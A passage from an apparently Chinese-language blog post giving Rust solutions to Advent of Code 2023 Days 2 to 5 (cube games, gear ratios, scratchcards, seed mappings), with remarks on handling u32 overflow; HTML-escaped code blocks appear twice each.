=\u0026gt; blue = count, \u0026#34;green\u0026#34; =\u0026gt; green = count, \u0026#34;red\u0026#34; =\u0026gt; red = count, _ =\u0026gt; panic!(\u0026#34;Unknown color: {}\u0026#34;, color[1]), } } if red \u0026gt; 12 || green \u0026gt; 13 || blue \u0026gt; 14 { // this game is invalid, skip to next game continue \u0026#39;game; } } id_sum \u0026#43;= (index \u0026#43; 1) as u32; } Some(id_sum) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut id_sum: u32 = 0; \u0026#39;game: for (index, game) in input.lines().enumerate() { // split \u0026#34;Game X: yyyyyyyyy\u0026#34; let content = game.split(\u0026#34;: \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;()[1]; // split \u0026#34;X blue, Y red; XX green, YY yellow\u0026#34; let gotchas = content.split(\u0026#34;; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let (mut red, mut green, mut blue) = (0, 0, 0); // Per gotcha: maximum 12 red, 13 green, 14 blue for gotcha in gotchas { let colors = gotcha.split(\u0026#34;, \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); for color in colors { // color: \u0026#34;X blue/green/red\u0026#34; let color = color.split(\u0026#34; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let count = color[0].parse::\u0026lt;u32\u0026gt;().unwrap(); match color[1] { \u0026#34;blue\u0026#34; =\u0026gt; blue = count, \u0026#34;green\u0026#34; =\u0026gt; green = count, \u0026#34;red\u0026#34; =\u0026gt; red = count, _ =\u0026gt; panic!(\u0026#34;Unknown color: {}\u0026#34;, color[1]), } } if red \u0026gt; 12 || green \u0026gt; 13 || blue \u0026gt; 14 { // this game is invalid, skip to next game continue \u0026#39;game; } } id_sum += (index + 1) as u32; } Some(id_sum) } Part 2 Part 2求出对每次game，在能满足抽出数量的情况下，三种颜色各自的数量最小值。将这三个值相乘，再将每次game的乘积相加得到结果。\n其实也一样，初始化一个最小值，然后对每一抽更新一下最小值。\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut id_sum: u32 = 0; for game in input.lines() { // split \u0026#34;Game X: yyyyyyyyy\u0026#34; let content = game.split(\u0026#34;: \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;()[1]; // split \u0026#34;X blue, Y red; XX green, YY yellow\u0026#34; let gotchas = content.split(\u0026#34;; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let (mut red, mut green, mut blue) = (0, 0, 0); // Get the maximum of each color for gotcha in gotchas { let colors = gotcha.split(\u0026#34;, \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); for color in colors { // color: \u0026#34;X blue/green/red\u0026#34; let color = color.split(\u0026#34; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let count = color[0].parse::\u0026lt;u32\u0026gt;().unwrap(); match color[1] { \u0026#34;blue\u0026#34; =\u0026gt; blue = cmp::max(blue, count), \u0026#34;green\u0026#34; =\u0026gt; green = cmp::max(green, count), \u0026#34;red\u0026#34; =\u0026gt; red = cmp::max(red, count), _ =\u0026gt; panic!(\u0026#34;Unknown color: {}\u0026#34;, color[1]), } } } let color_pow = red * green * blue; id_sum \u0026#43;= color_pow; } Some(id_sum) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut id_sum: u32 = 0; for game in input.lines() { // split \u0026#34;Game X: yyyyyyyyy\u0026#34; let content = game.split(\u0026#34;: \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;()[1]; // split \u0026#34;X blue, Y red; XX green, YY yellow\u0026#34; let gotchas = content.split(\u0026#34;; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let (mut red, mut green, mut blue) = (0, 0, 0); // Get the maximum of each color for gotcha in gotchas { let colors = gotcha.split(\u0026#34;, \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); for color in colors { // color: \u0026#34;X blue/green/red\u0026#34; let color = color.split(\u0026#34; \u0026#34;).collect::\u0026lt;Vec\u0026lt;\u0026amp;str\u0026gt;\u0026gt;(); let count = color[0].parse::\u0026lt;u32\u0026gt;().unwrap(); match color[1] { \u0026#34;blue\u0026#34; =\u0026gt; blue = cmp::max(blue, count), \u0026#34;green\u0026#34; =\u0026gt; green = cmp::max(green, count), \u0026#34;red\u0026#34; =\u0026gt; red = cmp::max(red, count), _ =\u0026gt; panic!(\u0026#34;Unknown color: {}\u0026#34;, color[1]), } } } let color_pow = red * green * blue; id_sum += color_pow; } Some(id_sum) } Day 3 Part 1 给定一个字符矩阵，找出其中周围有符号（非数字、非 . ）的数字，并将其相加。\n也蛮简单的，就是一个要注意“周围”指的是八个方向，一个是如果在某行的最后仍然在记录数字，则将其截断。\n第一个好理解，样例已经告诉我们了：\nplaintext 复制代码 467..114.. ...*...... ..35..633. ......#... 617*...... .....\u0026#43;.58. ..592..... ......755. ...$.*.... .664.598.. 1 2 3 4 5 6 7 8 9 10 467..114.. ...*...... ..35..633. ......#... 617*...... .....+.58. ..592..... ......755. ...$.*.... .664.598.. 这里467也算是周围有符号的数字。至于第二个问题，比如把它改成这样：\nplaintext 复制代码 467..114.. ...*...... ..35..633. ......#... 617*...... .....\u0026#43;.588 11592..... ......755. ...$.*.... .664.598.. 1 2 3 4 5 6 7 8 9 10 467..114.. ...*...... ..35..633. ......#... 617*...... .....+.588 11592..... ......755. ...$.*.... .664.598.. 由于代码的逻辑是遇到一个数字就记下来、遇到符号就停止，所以在 588 后不会停止，变成 58811592。不幸的是，并没有发现输入数据中有这种问题（苦笑）。\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // convert lines into a char matrix let lines = input.lines(); let mut sum = 0; let mut matrix: Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt; = Vec::new(); for line in lines { matrix.push(line.chars().collect()); } let mut curr = 0; // current number let mut is_part_number = false; // current number adjacent to a symbol // iterate through the matrix for (x, line) in matrix.iter().enumerate() { for (y, ch) in line.iter().enumerate() { if *ch \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; *ch \u0026lt;= \u0026#39;9\u0026#39; { // ch is a number curr = curr * 10 \u0026#43; (*ch as u32 - \u0026#39;0\u0026#39; as u32); if !is_part_number { // check char in 8 directions if x \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y]) { is_part_number = true; } else if y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x][y - 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x \u0026#43; 1][y]) { is_part_number = true; } else if y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x][y \u0026#43; 1]) { is_part_number = true; } else if x \u0026gt; 0 \u0026amp;\u0026amp; y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y - 1]) { is_part_number = true; } else if x \u0026gt; 0 \u0026amp;\u0026amp; y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y \u0026#43; 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x \u0026#43; 1][y - 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x \u0026#43; 1][y \u0026#43; 1]) { is_part_number = true; } } } else { // ch is a letter if curr != 0 { if is_part_number { sum \u0026#43;= curr; println!(\u0026#34;Add {}\u0026#34;, curr) } curr = 0; is_part_number = false; } } } // at the end of each line (including last), add the number if curr != 0 { if is_part_number { sum \u0026#43;= curr; println!(\u0026#34;Add {}\u0026#34;, curr) } curr = 0; is_part_number = false; } } Some(sum) } fn is_symbol(char: char) -\u0026gt; bool { (char \u0026lt; \u0026#39;0\u0026#39; || char \u0026gt; \u0026#39;9\u0026#39;) \u0026amp;\u0026amp; char != \u0026#39;.\u0026#39; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // convert lines into a char matrix let lines = input.lines(); let mut sum = 0; let mut matrix: Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt; = Vec::new(); for line in lines { matrix.push(line.chars().collect()); } let mut curr = 0; // current number let mut is_part_number = false; // current number adjacent to a symbol // iterate through the matrix for (x, line) in matrix.iter().enumerate() { for (y, ch) in line.iter().enumerate() { if *ch \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; *ch \u0026lt;= \u0026#39;9\u0026#39; { // ch is a number curr = curr * 10 + (*ch as u32 - \u0026#39;0\u0026#39; as u32); if !is_part_number { // check char in 8 directions if x \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y]) { is_part_number = true; } else if y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x][y - 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x + 1][y]) { is_part_number = true; } else if y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x][y + 1]) { is_part_number = true; } else if x \u0026gt; 0 \u0026amp;\u0026amp; y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y - 1]) { is_part_number = true; } else if x \u0026gt; 0 \u0026amp;\u0026amp; y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x - 1][y + 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; y \u0026gt; 0 \u0026amp;\u0026amp; is_symbol(matrix[x + 1][y - 1]) { is_part_number = true; } else if x \u0026lt; matrix.len() - 1 \u0026amp;\u0026amp; y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_symbol(matrix[x + 1][y + 1]) { is_part_number = true; } } } else { // ch is a letter if curr != 0 { if is_part_number { sum += curr; println!(\u0026#34;Add {}\u0026#34;, curr) } curr = 0; is_part_number = false; } } } // at the end of each line (including last), add the number if curr != 0 { if is_part_number { sum += curr; println!(\u0026#34;Add {}\u0026#34;, curr) } curr = 0; is_part_number = false; } } Some(sum) } fn is_symbol(char: char) -\u0026gt; bool { (char \u0026lt; \u0026#39;0\u0026#39; || char \u0026gt; \u0026#39;9\u0026#39;) \u0026amp;\u0026amp; char != \u0026#39;.\u0026#39; } Part 2 找出所有旁边有两串数字的星号，定义其值为这两个数字的乘积，求所有星号的值的和。\n想出了两种思路。\n第一种是开一个二维数组，为每串数字记录其编号，然后再扫一遍，对每个星号，统计周围8格中不同编号的个数。仍然是这个样例：\nplaintext 复制代码 467..114.. ...*...... ..35..633. ......#... 617*...... .....\u0026#43;.58. ..592..... ......755. ...$.*.... .664.598.. 1 2 3 4 5 6 7 8 9 10 467..114.. ...*...... ..35..633. ......#... 617*...... .....+.58. ..592..... ......755. ...$.*.... .664.598.. 那么第一行的编号数组就为 [1,1,1,0,0,2,2,2,0,0]（从1开始，无内容算0）。但缺陷是数字的值需要再开个二维数组记录。\n第二种是只扫星号，然后对每个星号，统计周围8格中数字的个数。数字只能横放在一行上，这给我们提供了巨大的方便，上中下三行可以分别处理。比如上面样例中第二行的星号，上一行三个位置数字情况为有、无、无，同一行为无、无，下一行为有、有、无，那么得出周围有2个数字，上面一个，下面一个。在确定周围有两个数字之后，即可再根据有数字的位置进行搜索，得到两个数字的值。这种方法可能重复对一个数字求值，但时空复杂度都比第一种低。\n下面是第二种思路的做法。\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // convert lines into a char matrix let lines = input.lines(); let mut sum = 0; let mut matrix: Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt; = Vec::new(); for line in lines { matrix.push(line.chars().collect()); } for (x, line) in matrix.iter().enumerate() { for (y, ch) in line.iter().enumerate() { if *ch == \u0026#39;*\u0026#39; { // find numbers nearby let ( mut up_left, mut up, mut up_right, mut left, mut right, mut down_left, mut down, mut down_right, ) = (false, false, false, false, false, false, false, false); let mut pow = 1; if x \u0026gt; 0 { if y \u0026gt; 0 { if is_digit(matrix[x - 1][y - 1]) { up_left = true; } } if is_digit(matrix[x - 1][y]) { up = true; } if y \u0026lt; matrix[x].len() - 1 { if is_digit(matrix[x - 1][y \u0026#43; 1]) { up_right = true; } } } if y\u0026gt;0 \u0026amp;\u0026amp; is_digit(matrix[x][y - 1]) { left = true; } if y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_digit(matrix[x][y \u0026#43; 1]) { right = true; } if x \u0026lt; matrix.len() - 1 { if y \u0026gt; 0 { if is_digit(matrix[x \u0026#43; 1][y - 1]) { down_left = true; } } if is_digit(matrix[x \u0026#43; 1][y]) { down = true; } if y \u0026lt; matrix[x].len() - 1 { if is_digit(matrix[x \u0026#43; 1][y \u0026#43; 1]) { down_right = true; } } } // get number count let mut count = 0; match (up_left, up, up_right) { (false, false, true) | (true, false, false) | (false, true, false) =\u0026gt; { count \u0026#43;= 1 } (true, true, false) | (false, true, true) =\u0026gt; { count \u0026#43;= 1; up = false; // to prevent calculating value twice } (true, false, true) =\u0026gt; count \u0026#43;= 2, (true, true, true) =\u0026gt; { count \u0026#43;= 1; up_left = false; // as above up_right = false; } (false, false, false) =\u0026gt; {} } if left { count \u0026#43;= 1; } if right { count \u0026#43;= 1; } match (down_left, down, down_right) { (false, false, true) | (true, false, false) | (false, true, false) =\u0026gt; { count \u0026#43;= 1 } (true, true, false) | (false, true, true) =\u0026gt; { count \u0026#43;= 1; down = false; } (true, false, true) =\u0026gt; count \u0026#43;= 2, (true, true, true) =\u0026gt; { count \u0026#43;= 1; down_left = false; down_right = false; } (false, false, false) =\u0026gt; {} } println!(\u0026#34;({}, {}) has {} numbers\u0026#34;, x, y, count); if count != 2 { // not a \u0026#34;gear\u0026#34; continue; } if up_left { pow *= get_value(\u0026amp;matrix[x - 1], y - 1); } if up { pow *= get_value(\u0026amp;matrix[x - 1], y); } if up_right { pow *= get_value(\u0026amp;matrix[x - 1], y \u0026#43; 1); } if left { pow *= get_value(\u0026amp;matrix[x], y - 1); } if right { pow *= get_value(\u0026amp;matrix[x], y \u0026#43; 1); } if down_left { pow *= get_value(\u0026amp;matrix[x \u0026#43; 1], y - 1); } if down { pow *= get_value(\u0026amp;matrix[x \u0026#43; 1], y); } if down_right { pow *= get_value(\u0026amp;matrix[x \u0026#43; 1], y \u0026#43; 1); } sum \u0026#43;= pow; println!(\u0026#34;Adding {} at ({}, {})\u0026#34;, pow, x, y); } } } Some(sum as u32) } fn is_digit(char: char) -\u0026gt; bool { char \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; char \u0026lt;= \u0026#39;9\u0026#39; } // Since the value stays only on one line, we can just use one line. fn get_value(matrix: \u0026amp;Vec\u0026lt;char\u0026gt;, y: usize) -\u0026gt; i32 { let mut start_y = y; let mut val = 0; while start_y \u0026gt; 0 \u0026amp;\u0026amp; is_digit(matrix[start_y - 1]) { start_y -= 1; } while start_y \u0026lt; matrix.len() \u0026amp;\u0026amp; is_digit(matrix[start_y]) { val = val * 10 \u0026#43; (matrix[start_y] as i32 - \u0026#39;0\u0026#39; as i32); start_y \u0026#43;= 1; } val } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // convert lines into a char matrix let lines = input.lines(); let mut sum = 0; let mut matrix: Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt; = Vec::new(); for line in lines { matrix.push(line.chars().collect()); } for (x, line) in matrix.iter().enumerate() { for (y, ch) in line.iter().enumerate() { if *ch == \u0026#39;*\u0026#39; { // find numbers nearby let ( mut up_left, mut up, mut up_right, mut left, mut right, mut down_left, mut down, mut down_right, ) = (false, false, false, false, false, false, false, false); let mut pow = 1; if x \u0026gt; 0 { if y \u0026gt; 0 { if is_digit(matrix[x - 1][y - 1]) { up_left = true; } } if is_digit(matrix[x - 1][y]) { up = true; } if y \u0026lt; matrix[x].len() - 1 { if is_digit(matrix[x - 1][y + 1]) { up_right = true; } } } if y\u0026gt;0 \u0026amp;\u0026amp; is_digit(matrix[x][y - 1]) { left = true; } if y \u0026lt; matrix[x].len() - 1 \u0026amp;\u0026amp; is_digit(matrix[x][y + 1]) { right = true; } if x \u0026lt; matrix.len() - 1 { if y \u0026gt; 0 { if is_digit(matrix[x + 1][y - 1]) { down_left = true; } } if is_digit(matrix[x + 1][y]) { down = true; } if y \u0026lt; matrix[x].len() - 1 { if is_digit(matrix[x + 1][y + 1]) { down_right = true; } } } // get number count let mut count = 0; match (up_left, up, up_right) { (false, false, true) | (true, false, false) | (false, true, false) =\u0026gt; { count += 1 } (true, true, false) | (false, true, true) =\u0026gt; { count += 1; up = false; // to prevent calculating value twice } (true, false, true) =\u0026gt; count += 2, (true, true, true) =\u0026gt; { count += 1; up_left = false; // as above up_right = false; } (false, false, false) =\u0026gt; {} } if left { count += 1; } if right { count += 1; } match (down_left, down, down_right) { (false, false, true) | (true, false, false) | (false, true, false) =\u0026gt; { count += 1 } (true, true, false) | (false, true, true) =\u0026gt; { count += 1; down = false; } (true, false, true) =\u0026gt; count += 2, (true, true, true) =\u0026gt; { count += 1; down_left = false; down_right = false; } (false, false, false) =\u0026gt; {} } println!(\u0026#34;({}, {}) has {} numbers\u0026#34;, x, y, count); if count != 2 { // not a \u0026#34;gear\u0026#34; continue; } if up_left { pow *= get_value(\u0026amp;matrix[x - 1], y - 1); } if up { pow *= get_value(\u0026amp;matrix[x - 1], y); } if up_right { pow *= get_value(\u0026amp;matrix[x - 1], y + 1); } if left { pow *= get_value(\u0026amp;matrix[x], y - 1); } if right { pow *= get_value(\u0026amp;matrix[x], y + 1); } if down_left { pow *= get_value(\u0026amp;matrix[x + 1], y - 1); } if down { pow *= get_value(\u0026amp;matrix[x + 1], y); } if down_right { pow *= get_value(\u0026amp;matrix[x + 1], y + 1); } sum += pow; println!(\u0026#34;Adding {} at ({}, {})\u0026#34;, pow, x, y); } } } Some(sum as u32) } fn is_digit(char: char) -\u0026gt; bool { char \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; char \u0026lt;= \u0026#39;9\u0026#39; } // Since the value stays only on one line, we can just use one line. fn get_value(matrix: \u0026amp;Vec\u0026lt;char\u0026gt;, y: usize) -\u0026gt; i32 { let mut start_y = y; let mut val = 0; while start_y \u0026gt; 0 \u0026amp;\u0026amp; is_digit(matrix[start_y - 1]) { start_y -= 1; } while start_y \u0026lt; matrix.len() \u0026amp;\u0026amp; is_digit(matrix[start_y]) { val = val * 10 + (matrix[start_y] as i32 - \u0026#39;0\u0026#39; as i32); start_y += 1; } val } 写完才发现这八个位置各一个变量实在不优雅，但能用，应该可以改为 [[bool;3];3]。实际操作中，如果上面一行有多于两位连着的数字（即属于同一串数字），那么只能留一位为true，否则会重复计算。\n令人欣慰的是，只需要在 get_value 里借用一下 matrix 即可不转移所有权，从而避免了一个Rust新手与编译器旷日持久的战斗。\nDay 4 Part 1 非常简单，长话短说就是刮刮乐，买了几张刮刮乐，要求出每张刮刮乐的中奖情况。\n这里要特别感谢 itertools，由于输入数据中不一定只用一个空格分隔，能把多个空格当一个分隔符的 split_whitespace() 真的很好用。\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines(); let mut sum: u32 = 0; for line in lines{ let mut win = 0; // process strings let content = line.split(\u0026#34;: \u0026#34;).collect_vec()[1]; // cut \u0026#34;Card X: \u0026#34; let result = content.split(\u0026#34; | \u0026#34;).collect_vec(); let winning_numbers = result[0]; let own_numbers = result[1]; let winning_set: HashSet\u0026lt;u32\u0026gt; = winning_numbers .split_whitespace() .map(|x| x.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect(); let own_numbers: Vec\u0026lt;u32\u0026gt; = own_numbers .split_whitespace() .map(|x| x.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect(); for number in own_numbers.iter() { if winning_set.contains(number) { win \u0026#43;= 1; } } if win \u0026gt; 0 { sum \u0026#43;= 2_u32.pow(win - 1); } } Some(sum) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines(); let mut sum: u32 = 0; for line in lines{ let mut win = 0; // process strings let content = line.split(\u0026#34;: \u0026#34;).collect_vec()[1]; // cut \u0026#34;Card X: \u0026#34; let result = content.split(\u0026#34; | \u0026#34;).collect_vec(); let winning_numbers = result[0]; let own_numbers = result[1]; let winning_set: HashSet\u0026lt;u32\u0026gt; = winning_numbers .split_whitespace() .map(|x| x.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect(); let own_numbers: Vec\u0026lt;u32\u0026gt; = own_numbers .split_whitespace() .map(|x| x.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect(); for number in own_numbers.iter() { if winning_set.contains(number) { win += 1; } } if win \u0026gt; 0 { sum += 2_u32.pow(win - 1); } } Some(sum) } Part 2 需要注意的是每一个编号的刮刮乐初始都有一张。\n嘿嘿，用Copilot写函数式的代码真快乐。太华丽了。\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let mut sum = 0; // cards scratched in total let mut cards_count = vec![1; lines.len()]; // every card has 1 copy let contents: Vec\u0026lt;\u0026amp;str\u0026gt; = lines .iter() .map(|x| x.split(\u0026#34;: \u0026#34;).collect_vec()[1]) .collect_vec(); let results = contents .iter() .map(|x| x.split(\u0026#34; | \u0026#34;).collect_vec()) .collect_vec(); let winning_sets: Vec\u0026lt;HashSet\u0026lt;u32\u0026gt;\u0026gt; = results .iter() .map(|x| x[0]) .map(|x| { x.split_whitespace() .map(|y| y.parse::\u0026lt;u32\u0026gt;().unwrap()) // Numbers that gets point for each card .collect() }) .collect_vec(); let own_numbers: Vec\u0026lt;Vec\u0026lt;u32\u0026gt;\u0026gt; = results .iter() .map(|x| x[1]) .map(|x| { x.split_whitespace() .map(|y| y.parse::\u0026lt;u32\u0026gt;().unwrap()) // Numbers that gets point for each card .collect() }) .collect_vec(); for index in 0..cards_count.len() { println!(\u0026#34;Has {} of card {}\u0026#34;, cards_count[index], index); if cards_count[index] == 0 { break; } sum \u0026#43;= cards_count[index]; let winning_set = \u0026amp;winning_sets[index]; let own_numbers = \u0026amp;own_numbers[index]; let mut win = 0; print!(\u0026#34;Intersect numbers: \u0026#34;); for number in own_numbers.iter() { if winning_set.contains(number) { win \u0026#43;= 1; print!(\u0026#34;{} \u0026#34;, number); } } println!(\u0026#34;Win {} cards\u0026#34;, win,); for i in 0..win { cards_count[index \u0026#43; 1 \u0026#43; i] \u0026#43;= cards_count[index]; println!( \u0026#34;Add {} copies of card {}\u0026#34;, cards_count[index], index \u0026#43; 2 \u0026#43; i ) } } Some(sum) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let mut sum = 0; // cards scratched in total let mut cards_count = vec![1; lines.len()]; // every card has 1 copy let contents: Vec\u0026lt;\u0026amp;str\u0026gt; = lines .iter() .map(|x| x.split(\u0026#34;: \u0026#34;).collect_vec()[1]) .collect_vec(); let results = contents .iter() .map(|x| x.split(\u0026#34; | \u0026#34;).collect_vec()) .collect_vec(); let winning_sets: Vec\u0026lt;HashSet\u0026lt;u32\u0026gt;\u0026gt; = results .iter() .map(|x| x[0]) .map(|x| { x.split_whitespace() .map(|y| y.parse::\u0026lt;u32\u0026gt;().unwrap()) // Numbers that gets point for each card .collect() }) .collect_vec(); let own_numbers: Vec\u0026lt;Vec\u0026lt;u32\u0026gt;\u0026gt; = results .iter() .map(|x| x[1]) .map(|x| { x.split_whitespace() .map(|y| y.parse::\u0026lt;u32\u0026gt;().unwrap()) // Numbers that gets point for each card .collect() }) .collect_vec(); for index in 0..cards_count.len() { println!(\u0026#34;Has {} of card {}\u0026#34;, cards_count[index], index); if cards_count[index] == 0 { break; } sum += cards_count[index]; let winning_set = \u0026amp;winning_sets[index]; let own_numbers = \u0026amp;own_numbers[index]; let mut win = 0; print!(\u0026#34;Intersect numbers: \u0026#34;); for number in own_numbers.iter() { if winning_set.contains(number) { win += 1; print!(\u0026#34;{} \u0026#34;, number); } } println!(\u0026#34;Win {} cards\u0026#34;, win,); for i in 0..win { cards_count[index + 1 + i] += cards_count[index]; println!( \u0026#34;Add {} copies of card {}\u0026#34;, cards_count[index], index + 2 + i ) } } Some(sum) } Day 5 Part 1 简单来说，就是给定映射关系，对每个数做7次映射，然后求出离得最近的两个结果。每个映射关系都是一个区间，这个条件让我残存的一丢丢算法竞赛思维立即想到了线段树。它确实很适合区间操作，但考虑到AoC并没有时空复杂度限制，写个暴力也能过。更重要的是，我不会。\n倒是可以用二分，这个确实会，给区间排个序就行，但一旦有了写暴力的心思，就懒得钻研算法了……\n但是，这道题真的是溢出狂魔啊……数据全都是 u32 的情况下，如果不改变数据格式，经常出现加溢出。一般有两种情况。\nrust 复制代码 // old soil = mapping.dst_start \u0026#43; *seed - mapping.src_start; // new soil = mapping .dst_start .wrapping_add(*seed) .wrapping_sub(mapping.src_start); 1 2 3 4 5 6 7 // old soil = mapping.dst_start + *seed - mapping.src_start; // new soil = mapping .dst_start .wrapping_add(*seed) .wrapping_sub(mapping.src_start); 第一种是像上面这段代码出现的，dst_start 和 *seed 相加后容易溢出，将减法提前也一样会溢出，从而panic。既然结果的 soil 肯定不会溢出，那么直接放任它溢出就可以了。\nrust 复制代码 // old if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping.src_start \u0026#43; mapping.length // new if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) 1 2 3 4 5 6 7 8 9 10 // old if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping.src_start + mapping.length // new if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) 区间开头不溢出，长度也不溢出，诶，加起来它就溢出了。反正被映射的数字都属于 u32 集合，遇到超出的时候，直接用 u32::MAX 代替就行了。或者直接用 saturating_add。\nrust 复制代码 #[derive(Debug, PartialEq, Clone, Copy, Eq, PartialOrd, Ord)] struct Mapping { dst_start: u32, src_start: u32, length: u32, } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let items = input.split(\u0026#34;\\n\\n\u0026#34;).collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seeds = items[0] .strip_prefix(\u0026#34;seeds: \u0026#34;) .unwrap() .split_whitespace() .map(|s| s.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let process_mapping = |x: \u0026amp;str| -\u0026gt; Vec\u0026lt;Mapping\u0026gt; { x.lines() .skip(1) .map(|line| { let mut parts = line.split_whitespace(); let dst_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let src_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let length = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); Mapping { dst_start, src_start, length, } }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;() }; let seed_to_soil = process_mapping(items[1]); let soil_to_fertilizer = process_mapping(items[2]); let fertilizer_to_water = process_mapping(items[3]); let water_to_light = process_mapping(items[4]); let 